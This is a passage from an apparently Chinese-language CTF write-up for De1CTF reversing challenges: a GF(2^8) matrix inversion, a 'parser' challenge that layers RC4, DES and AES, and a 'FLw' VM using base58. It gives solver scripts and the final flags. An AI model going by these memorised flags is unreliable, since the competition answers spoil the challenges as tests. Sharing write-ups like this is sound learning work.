53, 2], [109, 116, 87, 241, 128, 121, 227, 188, 2, 6, 81, 194, 4, 225, 176,
48, 8, 59, 243, 50, 234, 228, 192, 176, 168, 187, 248, 244, 27, 188, 107,
204, 222, 202, 73, 141, 160, 139, 151, 206, 1, 227, 152, 81], [13, 149, 85,
158, 164, 119, 149, 36, 138, 84, 173, 132, 39, 230, 96, 229, 84, 218, 14,
153, 184, 98, 160, 129, 2, 161, 99, 41, 17, 114, 55, 67, 192, 102, 241,
168, 149, 191, 216, 18, 229, 153, 94, 171]]

k.<a> = GF(2)[]
#l.<x> = GF(2^8, modulus = a^8 + a^4 + a^3 + a + 1)
# 0x39 a^5+a^4+a^3+1
l.<x> = GF(2^8, modulus = a^8 + a^5+a^4+a^3+1)
res = []
cmpl = []
```

```
for i in range(44):
    cmpl.append(l.fetch_int(cmps[i]))
for i in range(44):
   res2 = []
   for j in range(44):
       res2.append(l.fetch_int(datas[j][i]))
   res.append(res2)
res = Matrix(res)
resi = res.inverse()
de = ''
for i in range(44):
    t = 0
    for j in range(44):
        t += cmpl[j] * resi[j][i]
    de += (chr(t.integer_representation()))
print(de)
```

parser

C++写的表达式解析器，用了一种新的动态绑定方式，库函数不好标

首先读入字符串，然后后面加上一个换行符

然后tokenize

token类型如下

```
\\n              9
+               5
_               6
{               2
}               3
De1CTF          1
其他字母数字     4
```

然后3个函数没看懂，但是好像没影响

然后判断Token类型序列是不是1 2 其他 3 9

其他token类型有个单独的处理函数

是递归下降分析

文法

S→A{+A}*

A→B{_A}*

B→字母数字串

就是 X_X_X_X……+X_X_X……+……

X是字母数字串

字母数字串的处理：以De1CTF作为RC4的密钥，对这个字符串RC4

下划线的处理：DES-CBC，密钥和IV还是De1CTF，还有PKCS1Padding，所以应该是De1CTF\x02\x02

加号的处理：AES-CBC 同上 是AES128

顺序是按后缀表达式顺序

那么就要开始推（cai）这个顺序了。。。Padding是线索

最后一次肯定是AES，因为是递归的最上层

```
0b827a9e002e076de2d84cacb123bc1eb08ebec1a454e0f550c65d37c58c7daf2d4827342d3
b13d9730f25c17689198b10101010101010101010101010101010
```

Padding去掉，第二次

AES

```
91983da9b13a31ef0472b502073b68ddbddb3cc17d0b0b0b0b0b0b0b0b0b0b0b607adea582e
83f505b76fcb2e564e53a
```

DES

```
a7afa7e823499e23365819edd506cc86e44f43892015ff27d8e16695fc99f81ed96659fd0ee
98f1f2e07070707070707
```

说明应该还有一个加号，在padding那边分段

DES明文，从那个位置开始重新解密一下

```
cdc535899f23f0b22e07070707070707
```

DES明文RC4一下，发现不太对，那么应该是两段拼起来的

```
new = 'cdc535899f23f0b22e'.decode('hex')
for i in xrange(len(new)):
    rc4 = ARC4.new('De1CTF')
    print rc4.decrypt(new[i:])
```

得到

```
4nd
p4r53r
```

AES明文 继续找RC4的部分

```
91983da9b13a31ef0472b502073b68ddbddb3cc17d0b0b0b0b0b0b0b0b0b0b0b
```

```
new = '91983da9b13a31ef0472b502073b68ddbddb3cc17d'.decode('hex')
for i in xrange(len(new)):
    rc4 = ARC4.new('De1CTF')
    print rc4.decrypt(new[i:])
```

找到了

```
h3ll0
```

剩下密文

```
3a31ef0472b502073b68ddbddb3cc17d
```

长度很整，16bytes，DES，解密得到

```
8e9b23a9e5959829f6f3060606060606
```

那就是最后的了，RC4得到

```
w0rld
l3x3r
```

反过来推一下加密顺序

```
1 RC4 w0rld
2 RC4 l3x3r
3 DES 1+2
4 RC4 h3llo
5 AES 3+4
6 RC4 4nd
7 RC4 p4r53r
8 DES 6+7
9 AES 5+8
```

语法树

```
                    +
                   /    \\
                  +      _
                 /  \\    /  \\
               h3llo  _  4nd p4r53r
                     / \\
                   w0rld l3x3r
```

整理Flag

```
De1CTF{h3ll0+w0rld_l3x3r+4nd_p4r53r}
```

FLw

载入 IDA 7.0，炸了... 一直未响应... 疑心版本问题

OD 打开动调，几下调到除零异常应该是有异常处理，输入错了就结束了

IDA 6.8 打开可以分析，查看字符串找到关键部分，只有几个花指令，nop 即可，然后看到 vm 部分

opcode 可以通过调用这个的函数找到

设 base 为 vm 函数传入的参数，base 各个部分存储的意义和初始内容可以从 vm 之前的函数与分析中得到

```
- [base] r1 head
- [base+0x4] r2 tail
- [base+0x8] temp
- [base+0xC] arr queue
- [base+0x10] mem
- [base+0x14] opcode_addr
- [base+0x18] input_str
```

显然是个队列结构来进行操作

上手直接分析...好累看好久...

```
26              cin >> input_Str; arr[r2++] = strlen(s); // 获取输入字符串和输入
长度
2d    // 把字符串放入队列中

00 xx   arr[r2++] = nxtop; // 下一个字节放入队列队尾
0c xx mem[nxtop] = arr[r1++]; // 队头取出放入存储区
16 xx arr[r2++] = mem[nxtop]; // 存储区某地址的数据放入队尾
17              arr[r2++] = mem[arr[r1++]]; // 以队头取出的字节为地址从存储区取数
据放入队尾
18              mem[arr[r1++]] = arr[r1++]; // 以队头取出的字节为存储区地址放入下
一个队头数据
```

```
1c              temp = arr[r1++] + (temp << 8);
1d xx   arr[r2++] = temp % nxtop;       temp /= nxtop;
1e              arr[r2++] = baseArr[arr[r1++]];
22              arr[r2++] = temp; temp = 0;

1f    +
20    -
21    *
23    ^

2c xx   if (arr[r1++]) i -= nxtop; // jmp
eb xx if (arr[r1++]) exit;
```

整个字节码过程：读入，得到长度应该为 0x1C，对 `De1CTF{}` 内的字符串做了类似 base64 的加密，但因为模的是 0x3A 所以是 base58

脚本如下

```
enc = [
    0x7a, 0x19, 0x4f, 0x6e, 0x0e, 0x56, 0xaf, 0x1f,
    0x98, 0x58, 0x0e, 0x60, 0xbd, 0x42, 0x8a, 0xa2,
    0x20, 0x97, 0xb0, 0x3d, 0x87, 0xa0, 0x22, 0x95,
    0x79, 0xf9, 0x41, 0x54, 0x0c, 0x6d
]

base = [
    0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x51, 0x57,
0x45, 0x52, 0x54, 0x59,
    0x55, 0x49, 0x4F, 0x50, 0x41, 0x53, 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B,
0x4C, 0x5A, 0x58, 0x43,
    0x56, 0x42, 0x4E, 0x4D, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69,
0x6F, 0x70, 0x61, 0x73,
    0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x7A, 0x78, 0x63, 0x76, 0x62,
0x6E, 0x6D, 0x2B, 0x2F,
    0x3D
]

mid = [0 for i in range(0x1E)]

for i in range(0xa):
    mid[i*3] = enc[i*3] ^ enc[i*3+2]
    mid[i*3+1] = (enc[i*3+1] + mid[i*3]) & 0xFF
    mid[i*3+2] = (enc[i*3+2] - enc[i*3+1]) & 0xFF

inv = [0 for i in range(128)]

for i in range(len(base)):
    inv[base[i]] = i;
```

```
for i in range(0x1E):
    mid[i] = inv[mid[i]];

flag = ''

for i in range(0xa):
    tmp = 0
    for j in range(3):
        tmp = tmp * 0x3A + mid[i*3+j]
    flag += chr((tmp >> 8) & 0xFF)
    flag += chr(tmp & 0xFF)

print(flag)

# De1CTF{Innocence_Eye&Daisy*}
```